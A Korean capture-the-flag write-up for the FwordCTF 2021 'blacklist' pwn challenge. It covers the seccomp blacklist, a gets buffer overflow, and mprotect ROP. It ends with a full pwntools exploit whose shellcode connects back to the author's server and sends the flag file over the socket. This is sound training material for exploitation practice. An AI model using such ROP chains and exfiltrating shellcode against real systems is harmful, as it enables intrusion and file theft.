FwordCTF 2021에 참여하게 되었다.
To-Do List에 있는 목표 중 하나 달성해볼까라는 마인드로 참여해봤다.
얼마나 풀 수 있을까 고민됐지만 시간 내 2문제 그리고 아래에서 설명할 문제, 해서 pwn에서는 총 3문제 풀었다.
문제 풀이 환경 : Ubuntu 20.04
Note에 적혀있는 말 보면 사용자가 입력에 대한 리턴을 받을 수 없다는 말로 해석된다.
그래서 구글링 결과 리버싱 쉘(reversing shell)을 이용해야 한다는 결론을 얻었다.
📝 Analysis
Mitigation & File Spec
mitigation은 별거 없는데, 무려 static 파일이다.
Code
· main
init_0()과 vuln() 함수로 이루어진 간단한 main이다.
· init_0
대충 seccomp_filter가 적용되어 있다.
어떻게 필터링하고 있는지 seccomp-tools를 이용해서 봤다.
Blacklist 방식의 seccomp이다. 금지된 syscall은 open, clone, fork, vfork, execve, execveat 이다.
ORW 문제거니 생각하고 넘어갔다.
· vuln
심플한 함수다. 사용자에게 gets로 입력을 받고 있다.
mitigation에서도 확인할 수 있지만 canary가 있어서 여기 함수에도 설마 적용되어 있나 싶었지만 다행히도 그러지는 않아서 편하게 ROP를 할 수 있다.
✨ Thinking
static으로 컴파일된 파일이다 보니 프로그램 내에 이용할 수 있는 함수가 많았다.
ROP에 사용할 가젯에 대해서는 고민할 필요가 없어 보였다.
리버스 쉘 열 때 필요한 함수들이 다 있으면 좋겠지만 그렇지 않았다.
그리고 있다고 해도 syscall의 호출이 자유롭지 않았다. 필터링되는 open 말고 openat 같은 함수가 필요한데 없던 것도 있다.
그렇다면 쉘코드로 명령을 실행하는 게 제일 편리하고 간단하다.
NX bit가 걸려있지만 이때 사용할 수 있는 방법으로 mprotect ROP가 있다.
mprotect로 실행 가능 영역을 할당해준 다음 해당 영역에 쉘코드를 집어넣고 리버스 쉘로 flag.txt 파일을 읽어오면 되겠다는 생각을 했다.
▶ 도움 되는 사이트
Make Shellcode
사용할 syscall은 총 5개다.
openat, read, write / connect, dup2
앞 3개는 파일 열고 쓰고 출력을 위한 것이고, 뒤의 2개는 리버스 쉘과 통하기 위한 것이다.
ORW는 너무 많이 해서 설명할 것도 없고 뒤에 있는 2개의 syscall에 대해 말해보려 한다.
· connect (https://man7.org/linux/man-pages/man2/connect.2.html)
- 주어진 ip, port로 socket 연결을 해주는 syscall이다.
- reverse shell로 내 서버에 연결하게 해 주기 위해 사용한다.
· dup2 (https://man7.org/linux/man-pages/man2/dup.2.html)
- dup(old_fd)은 그냥 새로운 fd를 할당(open)해주는 함수라면,
- dup2(old_fd, new_fd)는 기존 fd(보통 새로 할당되는 fd보다 낮은 값 가짐)에 새 fd를 연결하는 효과를 가진다.
- stdin(0), stdout(1), stderr(2)의 buffer에 socket을 연결한다는 점에서 닫혀있어도 socket으로 소통할 수 있다는 점 때문에 사용한다.
이번에 만들 shellcode는 직접 만들기 귀찮기 때문에 pwntools에서 제공하는 shellcraft 클래스를 이용할 것이다.
🧩 Exploit Scenario
0. 터미널을 2개 띄워놓는다.
- 한쪽은 파이썬 익스 코드 실행용, 다른 한 쪽은 리버스 쉘용으로 내 쪽에서 리스닝할 용도
1. mprotect로 실행 가능한 영역을 잡는다.
- 컨트롤 가능한 주소 영역을 미리 디버거를 통해 찾고 뒤 3byte를 0이 되도록 한다.
- 권한을 7로 주면 rwx로 설정된다.
2. 해당 영역에 내가 작성한 쉘코드를 입력한다.
- read syscall은 안 막혀 있으므로 써도 된다.
- gets도 쓸 수 있지만 쉘코드 중간에 0x0a가 섞여있으면 끊겨서 제대로 동작 안하므로 read로 한다.
3. 쉘코드 시작 주소를 줘서 실행시킨다.
🚩 Flag 🚩
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
test = False
if test:
p = process('./blacklist')
# pause()
else:
p = remote('40.71.72.198', 1236)
e = ELF('./blacklist')
prdi = 0x4018ca
prsi = 0x4028b8
prdx = 0x4017cf
pppr = lambda a, b, c: (p64(prdi) + p64(a) + p64(prsi) + p64(b) + p64(prdx) + p64(c))
mprotect = e.sym['mprotect']
gets = e.sym['gets']
read = e.sym['read']
fake_stack = e.bss(0x600)
cmd_str = e.bss(0x800)
new_memory = 0x4e0000
IP, PORT = '{REDACTED}', 55222
flag_path = b'/home/fbi/flag.txt\x00'
if test:
IP, PORT = 'localhost', 55222
flag_path = b'flag.txt\x00'
shellcode = shellcraft.connect(IP, PORT)
shellcode += shellcraft.dup('rdi')
shellcode += shellcraft.openat(0, flag_path)
shellcode += shellcraft.read('rax', 'rsp', 0x40) # shellcode에서 인자 잘 보기
shellcode += shellcraft.write(1, 'rsp', 0x40)
shellcode = asm(shellcode)
payload = b'A' * 0x40
payload += p64(fake_stack)
# mmap(new_memory,0x1000,0x7)
payload += pppr(new_memory, 0x1000, 0x7)
payload += p64(mprotect)
# read(0, new_memory, 0x100) - shellcode input
payload += pppr(0, new_memory, 0x100)
payload += p64(read)
# shellcode call
payload += p64(new_memory + 0x30)
p.sendline(payload)
p.send(b'\x90' * 0x30 + shellcode)
p.interactive()
교훈
1. 쉘코드 작성할 때 인자 값은 레지스터 이름으로 주자.
- ROP랑 헷갈리지 말자.
2. 리버스 쉘 할 때 서버 방화벽 확인하자!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!